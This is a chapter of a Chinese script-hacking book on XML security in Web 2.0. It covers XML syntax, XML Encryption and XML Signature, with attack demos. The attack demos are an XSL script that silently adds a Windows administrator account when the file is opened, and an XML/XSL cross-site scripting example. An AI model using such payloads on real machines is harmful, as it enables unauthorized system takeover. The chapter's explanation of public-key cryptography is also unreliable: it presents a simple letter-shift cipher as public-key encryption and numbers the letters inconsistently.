当前位置: 首页 > 文档资料 > 精通脚本黑客 >

第十五章 Web 2.0 下的脚本黑客技术

优质
小牛编辑
130浏览
2023-12-01

前面的十几章基本上都是讲解的是 ASP、PHP、JSP 下的脚本黑客技术,这是目前脚本黑客技术的主流。当然,脚本黑客技术也不仅仅局限这些上面,目前的脚本语言有几十种之多。不过随着技术的不断发展,很多脚本语言使用的并不太广泛了,如 CGI 等等。现在所有的脚本语言都基本上进入了 Web 2.0 的时代了,过不了几年 Web 2.0 可能就将统治整个脚本语言界了,必将成为下一个时代网页的主流。

目前 Web 2 .0 下具有代表性的语言有 XML、Ajax 等等,目前他们技术也比较成熟了,越来越多的网站都采用了他们,Web 2 .0 具有代表性的网站算是 myspace.com 了,大家可以去上面领略一下 Web 2.0 的网站。虽然 Web 2.0 非常的好,可是一项技术的产生和普及都多少涉及到安全问题,那么本章就来谈谈 Web 2.0 下的安全性。以 XML 和 Ajax 为具体说明。

    1. XML的安全问题

      XML 即为可扩展的标记语言(eXtensible Markup Language)。XML 是一套定义语义标记的规则,这些标记将文档分成许多部件并对这些部件加以标识。

      XML 有两个先驱——SGML 和 HTML,这两个语言都是非常成功的标记语言,SGML 的全称是标准通用化标记语言,它从 80 年代初开始使用。正如 XML 一样,SGML 也可用于创建成千上万的标记语言,它为语法置标提供了异常强大的工具,同时具有极好的扩展性,因此在分类和索引数据中非常有用。

      目前,SGML 多用于科技文献和政府办公文件中。SGML 非常之复杂,其复杂程度对于网络上的日常应用简直不可思议。不仅如此,SGML 非常昂贵。

      HTML 免费、简单,而且它获得了广泛的支持。它是一个非常简单的 SGML 语言,可以方便普通人的使用。

      于是人们开始致力于描述一个置标语言,它既具有 SGML 的强大功能和可扩展性,同时又具有 HTML 的简单性。 这样 XML 语言就诞生了,它是目前基于 WEB 开发使用的一个比较多的语言,它可以和其他脚本联合开发系统,通常 XML 是作为后台数据库而用,如 PHP+XML等等,同时也是 Web 2.0 的重要组成部分。

      1. XML基础

        要谈 XML 安全问题,首先就得对 XML 这门语言有一定的了解,下面为大家介绍一些 XML 语句的基础知识。

        XML 是标记语言。理解 XML,首先要理解标记。先说说 HTML 的标记(Markup),通俗地讲,它就是一种用来给文本添加标记的语言。在 HTML 里每个标志都是有确切含义的。例如,在 HTML 中,标签<b>的含义是要求 HTML 浏览器将一段文本加粗表示,而标签

        <center>的含义是告诉浏览器将这段文本在一行的中间显示。

        而 XML 并非像 HTML 那样,提供了一组事先已经定义好了的标签,它只是提供了一个标准,利用这个标准,可以让我们根据实际需要定义自己的新的置标语言,并为这个新定义的置标语言规定它特有的一套标签。准确的说,XML 是一种源置标语言,它允许你根据它所提供的规则,制定自己需要的各种各样的置标语言。

        上面对 XML 已经有了一定的认识了,那么 XML 可以用来做什么呢?XML 可用于各种不同的应用程序,但其实质上 XML 是一种表示数据的方式。有时候数据是为数据库准备的,有些时候则是供人阅读的。与这两方面应用相关的技术,比如数据验证和 XML 转换也已经随着 XML 自身一起发展起来。正因为 XML 是一种数据的表示方式,所以现在越来越多的系统采用 XML 作为后台数据库。

        XML 包括验证或者确认的能力、文档结构和文档(在某种意义上的)内容。验证文档有助于防止数据与期望具有特定结构的应用程序进行交互时出现问题,当 XML 与非 XML的遗留系统交互时这一点尤其有用。

        我们还可以通过多种方式使用 XML 封装的数据。一种常见的处理方式是通过使用可扩展样式表语言转换(Extensible Stylesheet Language Transformations,XSLT),开发人员可以使用 XSL T 定义对 XML 文档的操作,以生成特定的结果。这种动态转换信息的能力允许从单个源文档产生多种输出,无论输出到不同的数据库还是输出到不同的浏览器。

        XSL 格式化对象(XSL Formatting Objects,XSL-FO)是一种强大而灵活的格式化数据的

        XML 词汇表,常与 XSL T 结合使用,把 XML 和 HTML 转化成 PDF( 可移植文档格式)。对于 XML 的更多功能这里就不在多讲了,如果大家对 XML 感兴趣或者想分析 Web 2.0 安全的朋友,可以去系统性学习 XML,在光盘中已经为大家收集了比较好的 XML 书籍。

        我们来看一个简单的 XML 文档,代码如下所示:

        <?xml version="1.0" standalone="yes"?>

        <FOO>

        Hello XML!

        </FOO>

        第一行是 XML 声明:<?xml version ="1.0" stan dalone="yes"?>。这是 XML 处理指令的例子,处理指令以<?开始,而以?>结束。在<?后的第一个单词是处理指令名,在本例中是

        xml。

        XML 声明有version 和 standalone 两个特性。特性是由等号分开的名称-数值对。位于等号左边的是特性名,而其值位于等号的右边,并用双引号括起来。每一个 XML 文档都以一个 XML 声明开始,用以指明所用的 XML 的版本。在上例中, versi on 特性表明这个文档符合 XML 1.0 规范。XML 声明还可以有 standalone 特性,这告诉我们文档是否在这一个文件里还是需要从外部导入文件。而 encoding 则是用于显示中文用的,将其值设为 gb2312,即 encoding="gb2312"就可以显示中文了,否则显示乱码。

        再来看看剩下三行。总体上说,这三行组成了 FOO 元素。分开说,<FOO>是开始标记,而</FOO> 是结束标记,Hello XML!是 FOO 元素的内容。大家可能就会要问,<FOO>标记

        的意义是什么?回答是"你要让它是什么就是什么"。XML 除了几百个预定义的标记之外,

        XML 还允许我们创建自己所需的标记。因而<FOO>标记可以具有用户赋于的任何意义.同一个 XML 文档可以用不同的标记名编写,如:

        <?xml version="1.0" standalone="yes"?>

        <GREETING>

        Hello XML!

        </GREETING>

        或者

        <?xml version="1.0" standalone="yes"?>

        <P>

        Hello XML!

        </P>

        我们把上面的的代码保存为 hello.xml,然后打开看看,发现 XML 和 HTML 一样可以在本地执行,并且并且不同的代码用不同的颜色表示,如 XML 声明和<及>用蓝色,而标签名用土黄色,内容则用黑色表示,如图 15-1 所示。

        image

        图 15-1 XML 执行后的结果

        XML 标记的意义

        标记有三类意义:结构、语义和样式。结构将文档分成元素树。语义将单个的元素与外部的实际事物联系起来。而样式指定如何显示元素。

        结构只是表达文档的形式,而不管单个标记和元素间的差别。它们都指定文档具有一个非空的基本元素。标记的不同名称没有结构上的意义。语义的意义存在于文档之外,在作者的心中或是读者或是某些生成或读取这些文件的计算机程序中。例如,理解 HTML 但不理解 XML 的Web 浏览器,可能会将段落的意义赋给<P>和</P>标记。讲英语的人可能会比<FOO>和 </FOO>或 <P> 或 </P>更容易理解 <GREETING>和 </GREETING>或是 <DOCUMENT> 和

        </DOCUMENT>的意义。

        XML 文件的整体结构

        xml 文件包括三部分:XML 声明、处理指示(可选)、XML 元素。XML 文档的一个基本要求是形式良好的(well formed),一个形式良好的 XML 文档要包含这三个部分。下面是一个完整的 xml 文档(程序 1.1):

        <?xml version="1.0" encoding="gb2312" ?>

        <?xml-stylesheet type="text/xsl" href="mystyle.xsl"?>

        <学生花名册>

        <学生>

        <名字>土豆</名字>

        <籍贯>北京</籍贯>

        <年龄>32</年龄>

        <电话号码>123456789</电话号码>

        </学生>

        <学生>

        <名字>曾云好</名字>

        <籍贯>江西</籍贯>

        <年龄>20</年龄>

        <电话号码>123456789</电话号码>

        </学生>

        </学生花名册>处理指示

        处理指示是用来给处理 XML 文件的应用程序提供信息的。所有的处理指示应该遵循下面的格式:

        <?处理指示名 处理指示信息?>例如这个处理指示:

        <?xml-stylesheet type="text/xsl" href="mystyle.xsl"?>

        指定与了 XML 文件配套使用的样式单的类型为 xsl 及文件名为 mystyle.xsl。字符数据与实体引用

        一对标记之间出现的字符数据可以是任何合法的 UNICODE 字符,但不能包含字符"<"。这是因为,字符"<"被预留用作标记的开始符。

        在 XML 中,起始和结束标记之间出现的所有合法字符都被忠实地传给 XML 处理程序。为了避免把字符数据和标记中需要用到的一些特殊符号相混淆,XML 还提供了一些有用的实体引用。实体引用的作用是,当在字符数据中需要使用这些特殊符号时,我们采用它的实体引用来代替。这些特殊的 XML 实体引用包括:

        > >

        < <

        & &

        " "

        ' '

        这样,如果我们需要在"示例"这个标记中出现文本

        "<姓名>张三</姓名>"正确的写法应该是:

        <示例> <姓名>张三</姓名> </示例>

        XML 文件的实质内容——元素

        元素是 XML 文件内容的基本单元。从语法上讲,一个元素包含一个起始标记、一个结束标记以及标记之间的数据内容。其形式是:

        <标记>数据内容</标记>

        另外,元素中还可以再嵌套别的元素。比如数据内容可再扩展为

        <标记 1>数据内容 1</标记 1>

        <标记 2>数据内容 2</标记 2>

        ...

        <标记 n>数据内容 1</标记 n>

        元素里还可以再嵌套元素,实现循环嵌套。最外层的元素称为根元素。一个 xml 文档只能有一个根元素。

        标记

        正如我们所讲的那样,标记是 XML 语言的精髓。因此,标记在 XML 的元素中、乃至整个

        XML 文件中,占了举足轻重的位置。XML 的标记和 HTML 的标记在模样上大体相同,除了注释和 CDATA 部分以外,所有符号〈和符号〉之间的内容都称为标记。其基本形式为:〈标记名 (属性名="属性取值")*〉

        不过,XML 对于标记的语法规定可比 HTML 要严格得多。 1、大小写有所区分。在标记中必须注意区分大小写。在 HTML 中,标记〈HELLO〉和〈hello〉是一回事,但在 XML 中,它们是两个截然不同的标记。 2、要有正确的结束标记 。结束标记除了要和开始标记在拼写和大小写上完全相同,还必须在前面加上一个斜杠 "/"。因此,如果开始标记是〈HELLO〉,结束标记应该写作〈/HELLO〉。

        XML 严格要求标记配对,因此,HTML 中的<BR>、<HR>的元素形式在 XML 中是不合法的。不过,为了简便起见,当一对标记之间没有任何文本内容时,可以不写结束标记,而在开始标记的最后惯以斜杠"/"来确认。这样的标记称为"空标记"。例如,HTML 中的标记〈HR〉在XML 中的使用方式应该是:<HR/>。 3、标记要正确嵌套 。在一个 XML 元素中允许包含其它 XML 元素,但这些元素之间必须满足嵌套性。

        4、有效使用属性 。最后要指出的是,标记中可以包含任意多个属性。在标记中,属性以名称/取值对出现,属性名不能重复,名称与取值之间用等号"="分隔,且取值用引号引起来。例如: <商品 类型 = "服装" 颜色 = "黄色">

        在这个例子中,"类型"和"颜色"是标记"商品"的属性,"服装"是属性"类型"的取值,"黄色"是属性"颜色"的取值。需要特别注意的是,在 XML 中属性的取值必须用引号引起来,而在 HTML 中这一点并不严格要求。

        CDATA

        前面我们说了,可以把 XML 文件中除标记以外的所有内容都看作是字符数据,而把标记中的所有内容都看作置标。不过,也有一个例外。在一个特殊的标记 CDATA 下,所有的标记、实体引用都被忽略,而被 XML 处理程序一视同仁地当作字符数据看待。CDATA 的形式如下:

        <![CDATA[

        文本内容

        ]]>

        爱动脑筋的朋友应该可以猜到,CDATA 的文本内容中是不能出现字符串"]]>"的,因为它代表了 CDATA 数据块的结束标志。在前面讲字符数据时,我们谈到过实体引用。可想而知,当你的文本数据中包含大量特殊符号时,你不得不通篇地使用实体引用,把本来很清晰的一

        段文字搞得乱七八糟。例如,我们要在"示例"元素中放入了一个这么 XML 程序。

        <联系人>

        <姓名>曾云好</姓名>

        <EMAIL>zengyunhao0@gmail.com</EMAIL>

        </联系人>

        这时,如果没有 CDATA,那么麻烦来了。这个元素需要写成下面的样子:

        <示例>

        <联系人>

        <姓名>曾云好</姓名>

        <EMAIL>zengyunhao0@gmail.com</EMAIL>

        </联系人>

        </示例>

        要把所有的标记都用实体引用改写,最后写出来的东西连你自己都看不懂了。为了避免这种不便,你可以把这些字符数据放在一个 CDATA 数据块中,这样不管它看上去是一个标记还是一个实体引用,这些数据统统被当作字符照单全收。于是,上面的元素就可以写为这个样子:

        <示例>

        <![CDATA[

        <联系人>

        <姓名>曾云好</姓名>

        <EMAIL>zengyunhao0@gmail.com</EMAIL>

        </联系人>

        ]]>

        </示例>

        这样程序看起来就舒服多了,运行的结果如图 15-2 所示。

        image

        图 15-2 CDATA 的作用

        在 HTML 中,注释是用"<!--"和"-->"引起来的。在 XML 中,注释的方法完全相同。字符数据与实体引用。

        名称空间

        XML 的用途不是单一的。可能你看到编写只使用一个标记符号集的文档是相当有用的。但是,问题是,当混杂和匹配不同的 XML 应用程序的标记时,你可能会发现同一个标记已用于两个不同对象。TITLE 是指页标题还是书的标题?ADDRESS 是指公司的邮件地址还是 Web 站点管理人员的电子邮件地址?名称空间(namespace)可以解决这些诸如此类的问题,它是将 URI 与各标记集相关联,并在每个元素前加上一个前缀,以表示它属于哪个标记集。于是,就可以有 BOOK:TITLE 和 HTML:TITLE 两个元素或 POST AL:ADDRESS 和

        HTML:ADDRESS 元素,而不只一类 TITLE 或 ADDRESS。名称空间允许文档中的每个元素和特性放在不同的命名域中。

        URI 和 URL

        XML 文档可用于 Web,正如 HTML 和其他文档一样。使用时,也如 HTML 文档一样,被统一资源定位符(Uniform Resource Locator,简写为 URL)所引用。虽然 URL 已被人们广泛理解并被广泛支持,但 XML 规范使用的是更为通用的统一资源标识符(Uniform Resource Identifier,简写为 URI)。URI 对于定位 Inter net 上的资源是更为通用的架构,更为注重资源而不太注重位置。理论上说,URI 可找出镜像文档的最为近似的副本或是找出已经从一个站点移动到另一站点的文档。实际上,URI 仍然处于进一步的研究之中,被当前的软件所唯一支持的一种 URI 正是 URL。

        用 xmlns 声明名称空间

        这个一个声明名称空间的例子 xm lns:xsl="http://www.w3.org/TR/WD-xsl" "http://www.w3.org/TR/WD-xsl"是一个 URI 引用。

        URI 为统一资源标识符(Uniform Resource Identifier ,简写为 URI)。 URI 对于定位 Internet上的资源是更为通用的架构,更为注重资源而不太注重位置。不过当前的软件所唯一支持的一种 URI 正是 URL。要注意的是这里用 URI 只是为了声明一个唯一的名称空间,并不是真的上 www.w3.org 的网站去寻找这个链接。xsl 表明以后如果用到以 xsl 为前缀的名字,那么它所表 示 的规则 是 在名称 空 间里预 先 定义好 的 ,如“ xsl:value-of ”在 "http://www.w3.org/TR/WD-xsl"这个名称空间预置的,它的意义是求值。

        XSL

        XSL(EXtensible Stylesheet Language)它是指可扩展样式表语言。 XSL 之于 XML 就像

        CSS 之于 HTML 。说白了就是将 XML 中的数据用指定的显示格式输出.XML 不像 HTML,

        它不包含任何显示格式的信息. XSL 包含两个部分:

        XSLT – 用于转换 XML 文档的语言. XSLT 是指 XSL 转换 ( XSL Transformation) XPath – 用于在 XML 文档中导航的语言

        XSL 语法

        任何 XSL 文档的第一行实际上都是 XML 声明:

        <?xml version="1.0" encoding="GB2312"?>

        XSL 与 XML ?遵循相同的语法规则

        在 XML 声明之后,就是 XSL 声明,例如:

        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">

        ......

        </xsl:stylesheet>

        XSL 声明必须要有结束标签,上面的声明中还包含命名空间和 XSL 规范的版本。

        模板或规则

        XSL 文档是由模板或规则构成,每个模板定义应用于特定 XML 节点的规则。XSL 模板如下所示:

        <xsl:template match="/">......</xsl:template>

        模板的作用是用来承载 XML 文档中的数据的,就像一个模具,如果这个模具是方形的,那么用这个模具做出来的模型也一定是方形的,而XML 文档中的数据就是用来真充模具的原料。实际上在模板中可以嵌套子模板,但最上层模板必须将 match 设为"/"。

        循环构造

        <xsl:for-each select="...">......</xsl:for-each>

        与典型的 for 循环作用相同。

        我们还可以在 XML 文件中引用 XSL 文件,例如 hello.xml 和 hello.xsl 都是在同一个文件夹下,那么我们要在 hello.xml 中引用 hello.xsl 文件,只需要编写<?xml-stylesheet type="text/xsl" href="hello.xsl"?>即可完成。

        对于 XML 的基础知识,我就介绍到这里了。相信通过上面的学习,能够对 XML 有一个基本的了解。当然,要进行 XML 开发的话,就远远不够了,XML 更多的内容可以去看光盘中的电子书。下面我们来谈谈 XML 的安全问题。

      2. XML安全简介

        通过上一节中 XML 的两幅图片,大家应该可以看到,对于 XML 文件我们只要打开了就能够看到该文件中的内容。如果网络上的所有 XML 文件都是这样的话,那 XML 就几乎没有任何安全性可言了,例如采用 XML 作为后台数据库的网站,如果我们打开了该 XML 文件,那不是所有的用户信息都被看完了。

        目前,在与 XML 相关的安全性领域方面开发规范的最常用的部分是 XML 加密、XML 签名等技术,下面我们就来介绍一下这两个方面。

        (1)、XML 加密

        现在安全性要求稍微高一些的网站都会采用加密技术,如安全套接字层(Secure Sockets Layer,SSL),也就是使用了 https 协议的网站,对于 XML 语言它本身提供了一个

        XML 加密的标准(XML Encryption)。

        XML 加密的首要目标是:

        ①、支持对任意数字内容的加密,包括 XML 文档。

        ②、确保经过加密的数据不管是在传输过程中还是在存储时,都不能被未经授权的人员访问到。

        ③、即便在消息传送中的每一跳,都能维持数据的安全性——这句话的意思是,不仅数据正在传输的过程中要保证安全性(这就是 SSL 所作出的保证),当数据在某个特定的节点停留的时候,也要保证其安全性。

        ④、以 XML 形式表现被加密的数据。

        ⑤可以从 XML 文档中选出一部分内容进行加密。

        我们拿这个目标与基于 HTTP 的 SSL(又称 HTTPS)必须提供的功能进行比较。如果使用基于 HTTP 的 SSL,整条消息都会被加密;在第一个目的地,整条消息又被解密,在它被重新全部加密传输到第二跳的节点之前,可能受到嗅探器的威胁。基于 HTTP 的 SSL 提供的加密仅仅在传输的过程中存在,它是不持久的。

        与其它任何文档一样,可以将 XML 文档整篇加密,然后安全地发送给一个或多个接收方。例如,这是 SSL 或 TLS 的常见功能,但是更令人感兴趣的是如何对同一文档的不同部分进行不同处理的情况。

        XML 加密语法的核心元素是 EncryptedData 元素,该元素与 EncryptedKey 元素一起用来将加密密钥从发起方传送到已知的接收方,EncryptedData 是从 EncryptedType 抽象类型派生的。要加密的数据可以是任意数据、XML 文档、XML 元素或 XML 元素内容;加密数据的结果是一个包含或引用密码数据的 XML 加密元素。当加密元素或元素内容时, EncryptedData 元素替换 XML 文档加密版本中的该元素或内容。当加密的是任意数据时, EncryptedData 元素可能成为新 XML 文档的根,或者可能成为一个子代元素。当加密整个

        XML 文档时, EncryptedData 元素可能成为新文档的根。此外, EncryptedData 不能是另一个 EncryptedData 元素的父代或子代元素, 但是实际加密的数据可以是包括现有 EncryptedData 或 EncryptedKey 元素的任何内容。

        XML 加密可以根据不同的需求进行不同的加密,如对 XML 文档全部加密或只对其中的部分元素及内容加密等等。下面的代码显示的是我的银行帐户、5000 人民币限额、卡号和有效期的的信息:

        <?xml version="1.0" encoding="gb2312"?>

        <PaymentInfo xmlns='http://example.org/paymentv2'>

        <Name>曾云好<Name/>

        <CreditCard Limit='5,000' Currency='USD'>

        <Number>4019 2445 0277 5567</Number>

        <Issuer>Bank of the Internet</Issuer>

        <Expiration>08/02</Expiration>

        </CreditCard>

        </PaymentInfo>

        上面的代码是一个完整的 XML 文档,是没有加密的。对于银行账号,要在互联网上传输肯定要加密的。不过我们有很多种加密方法,比如加密整个文档的所有内容,加密后代码如下所示:

        <?xml version="1.0" encoding="gb2312"?>

        <EncryptedData xmlns='http://www.w3.org/2001/04/xmlenc#'

        Type='http://www.isi.edu/in-notes/iana/assignments/media-types/text/xml'>

        <CipherData><CipherValue>A23B45C56</CipherValue></CipherData>

        </EncryptedData>

        我们还可以只加密我们的银行账号,其他的都是以原文在互联网上传输,加密后代码如下所示:

        <?xml version="1.0" encoding="gb2312"?>

        <PaymentInfo xmlns='http://example.org/paymentv2'>

        <Name>曾云好<Name/>

        <CreditCard Limit='5,000' Currency='USD'>

        <Number>

        <EncryptedData xmlns='http://www.w3.org/2001/04/xmlenc#' Type='http://www.w3.org/2001/04/xmlenc#Content'>

        <CipherData><CipherValue>A23B45C56</CipherValue>

        </CipherData>

        </EncryptedData>

        </Number>

        <Issuer>Bank of the Internet</Issuer>

        <Expiration>04/02</Expiration>

        </CreditCard>

        </PaymentInfo>

        当然,还可以加密除了我用户名之外的任何数据,加密后的代码如下所示:

        <?xml version="1.0" encoding="gb2312"?>

        <PaymentInfo xmlns='http://example.org/paymentv2'>

        <Name>John Smith<Name/>

        <EncryptedData Type='http://www.w3.org/2001/04/xmlenc#Element' xmlns='http://www.w3.org/2001/04/xmlenc#'>

        <CipherData><CipherValue>A23B45C56</CipherValue></CipherData>

        </EncryptedData>

        </PaymentInfo>

        对于加密大家应该感到了 XML 的强大性了吧,完全可以按照我自己的意愿来进行加密。当然加密也不是如此简单,密码学是一门非常深奥的学科,大家有机会可以去学习学习,如 RSA 等等。正因为有了加密使得 XML 文档的内容不被人给查看了,从而确定了文档本身内容的安全性。但是仅仅只做加密还是不够的。如在网络上传送时,被加密的文档是否被人给替换了等等情况,所以下一小节就来介绍数字签名,它可以很好的解决这些问题。

        (2)、XML 签名

        签名十分重要,因为它可以提供端到端的消息完整性保证,还可以提供有关消息发件人的验证信息。为了达到较好的效果,签名必须是应用程序数据的一部分,这样可以在创建消息时生成签名,并可以在最终使用和处理消息时对签名进行验证。

        XML 签名可以定义一系列 XML 元素,这些元素可以内嵌或以其他方式附加在任何 XML文档中。这样,收件人可以验证收到的消息与发件人原本发送的消息是否相同。

        XML 签名可以用于对包括 XML 文档在内的任何数字内容进行签名。对数字内容进行签名的过程分为两个阶段。在第一阶段中,对数字内容进行整理,得到的结果放在一个 XML 元素中。第二阶段挑选出经过整理的值,并对其进行签名。这样做的原因非常简单:对原始内容进行整理之后,可以得到一个很小的但是唯一的加密结果(称为摘要),这样比对原始内容进行签名花费的时间少。

        当XML(或其中的一部分)经过数字签名之后,得到的 XML 签名用一个XML 元素表现出来,这个元素的标识是 <Signature> ,最初的内容与这个数字签名的关系基于下面几种 XML 签名类型:

        ①、封外签名(Enveloping signature): <Signature> 元素中包含了进行数字签名的元素。被签名的元素成为了 <Signature> 元素的子元素。

        ②、封内签名(Enveloped signature): <Signature> 元素成为被签名数据的子元素。 <S ignature> 元素通过它其中的 <Reference> 元素提供的信息引用被签名的元素。

        ③、分离签名(Detached signature ): <Signature> 元素与被签名的元素各自独立存在。被签名的元素和 <Signature> 元素可以同属于一个文档,或者, <Signature> 元素也可以在另一个完全不同的文档中。

        XML 签名的语法和处理规范(本文中缩写为 XML DSIG)是由 W3C 和 IETF 联合制定的。XML

        DSIG 可以提供完整性,并可用于进行发件人验证。下面我们来简单介绍下 XML DSIG,不过介绍之前,大家还需要对一些基本的密码学算法有一定的认识。所以先来谈谈这些算法,不会太难的。

        数字签名对某些内容提供完整性检查。如果原始内容的某个字节已经被修改,例如我在我的银行存款后多加了个零或者“否”改成了“是”等等,那么签名验证将失败。

        我们来看看个的原理:首先我们需要一个“散列”消息。加密散列使用的是任意字节流,之后并将其转换为某个固定长度的值,这个值称为“摘要”。摘要是一个单向过程:从计算角度来说,无法通过散列重新创建消息,也不可能找到可以产生相同摘要值的两封不同消息,即具有不可逆性。

        最常用的散列机制是 SHA1,即“安全散列算法”。它是于 1995 年作为标准发布,该算法由美国政府创建的。SHA1 可以处理 2**64 字节以内的任何消息,并生成一个 20 字节的结果。这意味着将有 2**160 个可能的摘要值,所以几乎不可能出现两个相同的摘要值。

        如果我生成消息是 M 并创建摘要(用 H(M) 代表“M 的散列”),那么你将收到 M 和

        H(M),你可以创建自己的摘要 H'(M),如果两个摘要值匹配,表明你收到了我发送的消息。要保护 M 使其不被修改,我只需要保护 H(M),使它不被修改。

        那么如何保护我们的 H(M)呢?一般有两种办法:

        第一种是共享密钥混合在摘要中,即创建 H(S+M)。您收到消息后,可以使用自己的 S 副本来创建 H'(S+M)。新的摘要称为 HMAC,即“散列后的消息验证代码”(Hashed Messsage Authentication Code)。在使用 HMAC 时,完整性保护的有效性取决于攻击者计算出 S 的能力。因此,S 应该不容易被猜出,并应该经常更改 S。

        第二种是使用公钥加密算法,例如 RSA。公钥加密算法中有两个密钥:一个是只有持有者知道的私钥,另一个是要与密钥持有者通信的任何人都知道的公钥。在公钥加密算法中,使用私钥加密的任何内容都可以使用公钥解密,当然,使用公钥加密的内容,也只有持有私钥的人才能够解密。

        我们用一个简单的例子来说明公钥加密算法的工作原理。这里假设我们的消息内容只在

        26 个英文字母之内,并给这些字母编号,从 0 到 25。要对消息进行加密,我们需要添加私钥的值,这里假设私钥为 4。我们需要加密的内容为 hello。

        字母 h e l l o 编号 8 5 12 12 15

        私钥 4 4 4 4 4

        加密后的值 12 9 16 16 19

        要对消息进行解密,我们需要添加公钥,公钥的值为 22。这里大家要注意了,因为我们的字母只有 26 个,所以算出来的数肯定会超过 25(因为从 0 开始),要得到其字母值只需

        要减去 26 就可以得到了。比如

        我们算出来的数是 27,那么减去 26 之后为 1。1 的编号所对应的字母就是 b 了。加密后的值 12 9 16 16 19

        公钥 22 22 22 22 22

        原始加密后的值 34 31 38 38 41

        规范化的值 8 5 12 12 15纯文本 h e l l o

        RSA 的工作原理与此相同,使用 RSA 生成一个摘要:H(M),并使用我的私钥进行加密,则 {H(M)}private-key 就是我的签名。您收到消息 M 后,可以生成摘要 H'(M),并使用我的公钥来对签名进行解密,就得到我生成的 H(M)。如果 H(M) 和 H'(M) 相同,表明两封消息 M 是相同的。而且,您会发现拥有私钥的人,也就是“我”,是消息的发件人。

        对于 XML 的签名格式,XML-DSIG 使用一个单独的命名空间。使用<ds:Signature>元素就是用于签名,此元素具有的信息包括要签名的内容、签名、用于创建签名的密钥以及存储任意信息的空间。

        例如下面的一个段签名代码,如下所示:

        <element name="Signature" type="ds:SignatureType"/>

        <complexType name="SignatureType">

        <sequence>

        <element ref="ds:SignedInfo"/>

        <element ref="ds:SignatureValue"/>

        <element ref="ds:KeyInfo" minOccurs="0"/>

        <element ref="ds:Object" minOccurs="0" maxOccurs="unbounded"/>

        </sequence>

        <attribute name="Id" type="ID" use="optional"/>

        </complexType>

        从代码中,我们可以看到全局 Id 属性允许文档包含多个签名,并提供了标识特殊实例的方法。在业务策略中经常使用多个签名,例如开一个网吧,必须要文化局和公安局都批准了才能够运营。

        ds:SignatureValue 元素包含的是实际签名。由于签名通常是二进制数据,所以XML DSIG指定签名值通常是具有 Base64 编码内容的简单元素。

        以上就是对签名的一个简单介绍了,在 XML 中不仅仅只有加密和签名安全技术,XML 还提供了很多的安全技术,如 SAML、XACML、XKMS 等等,这些技术使得 XML 数据在传输的过程中的安全性得到了大大的提高。

        这些技术与脚本并不太大的关联,这里介绍最主要的目的就是为了扩大大家的视野,如果你对上面的内容有一些不理解的地方也没有关系。上面说了那么多的理论话的东西,接下来轻松一下,来谈谈 XML 这本语言本身了。

        我们知道,利用 javascript 和 vbscript 我们可以轻松实现在主机中添加一个账号的功能,那么在 XML 中也可以吗?答案是肯定的,利用 XML 也同样能够完整对主机中添加一个账号的功能,利用 xml+xsl 就可以给客户机添加超级管理帐户。

        xml 文件的代码如下所示:

        <?xml version="1.0" encoding="GB2312"?>

        <?xml-stylesheet type="text/xsl" href="admin.xsl"?>

        <name>利用XML 来添加管理员账号</name>

        把这个 xml 保存起来,并把它命名为 admin.xml。下面来看看 xsl 文件的代码,如下所示:

        <?xml version="1.0" encoding="gb2312"?>

        <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

        <xsl:template match="/">

        <html>

        <body>

        <xsl:value-of select="name" />

        <xsl:script>

        function run()

        {

        var wsh; //调用 windows 脚本来完成添加账号的功能 var wsh = new ActiveXObject("WScript.Shell"); wsh.run( "net user 曾云好 123 /add",0);

        wsh.run( "net localgroup administrators 曾云好 /add",0);

        }

        </xsl:script>

        <xsl:eval>run()</xsl:eval>

        </body>

        </html>

        </xsl:template>

        </xsl:stylesheet>

        上面的 XML 代码利用 windows 提供的脚本,添加了一个名为曾云好、密码为 123 的管理员账号。把上面的代码保存为 admin.xsl 后,并把它与 admin.xml 放到同一个文件夹下,点击运行 admin.xml 就可以完成管理员账号添加的功能了。如图 15-3 所示,我们成功的完成了一个管理员的添加了。

        image

        图 15-3 完成了对管理员账户的添加

        虽然对于 XML 的安全,其提供了多种安全措施,例如加密、签名等等。但是 XML 这门语言在设计的时候是否就很完美了呢?答案当然是否定的,虽然目前很少人去对 XML 语言自身的安全性去测试,但是仍然还是被挖掘出 XML 语言的一些不完美的地方。例如下面的代码就能够使 XML 发生跨站漏洞。

        代码由两个文件组成,一个是 XML 文件、另外一个是 XSL 文件。XML 文件的代码如下所

        示:

        <?xml version="1.0" encoding="gb2312"?>

        <?xml-stylesheet href="XSS.xsl" type="text/xsl"?>

        <XSS>

        <title>df</title>

        <body xmlns:html="http://www.w3.org/1999/xhtml">

        <![CDATA[<script>alert("XML 跨站!!!")</script>]]>

        </body>

        </XSS>

        把它保存在本地计算机上,并命名为 XSS.xml。我们再来看看 XSL 的代码,如下所示:

        <?xml version="1.0"?>

        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">

        <xsl:template match="/XSS">

        <html>

        <body>

        <xsl:value-of select="title" />

        <xsl:value-of select="body" disable-output-escaping="yes"/>

        </body>

        </html>

        </xsl:template>

        </xsl:stylesheet>

        一个 XSL 文件也是属于 XML 文件的一个部分,要使用它同样要声明。利用

        xsl:stylesheet 就可以声明一个 XSL 样式表,<xsl:template match="/XSS">则表示 XML 的源文件在当前的目录下,我们也可以改变成其他的目录路径。在 XML 文件的中的

        <?xml-stylesheet href="XSS.xsl" type="text/xsl"?>表示的是在当前 XML 文件中引用XSL样式表。

        image

        image

        在前面介绍 XML 基础的时候我们就知道 select 属性是用于定义源文件中的元素名的,而 xsl:value-of 则是用来当前的层次中插入的内容,即源文件中的元素名的内容。我们现在来运行 XSS.xml 文件看看,如图 15-4 所示,发生了跨站漏洞了。

        图 15-4 发生 XML 跨站

        通过上面的代码,大家应该知道在 XML 也同样会发生跨站了吧。对于 XML 跨站,我们只需要在元素中写入<![CDATA[<script>alert("XML 跨站!!!")</script>]]>就会发生跨站了。

      3. 基于XML后台数据库的系统安全浅析

前面我们就提到了 XML 可以做为数据库来使用,那么这个时候肯定有很多朋友会问

XML 就数据库吗?这个时候就有人糊涂了,前面我们明名说的 XML 是一脚本语言啊,怎么又变成数据库了呢?

如果仅按数据库这个术语的本质来看,XML 文件就是数据库,它是数据的集合。在许多方面看起来它和其他文件没什么区别 -- 无论如何,每个文件都含有某种类型的数据。作为一种“数据库”格式,XML 有一些优势:例如,它是自描述的(所用的标记描述了数据的结构和类型,尽管缺乏语义),可交换的(portable)(Unicode),能够以树型或图形结构描述数据。同样它也有缺点,例如,它显得有些繁琐,由于要对它进行解析和文本转换,所以数据访问速度较慢。

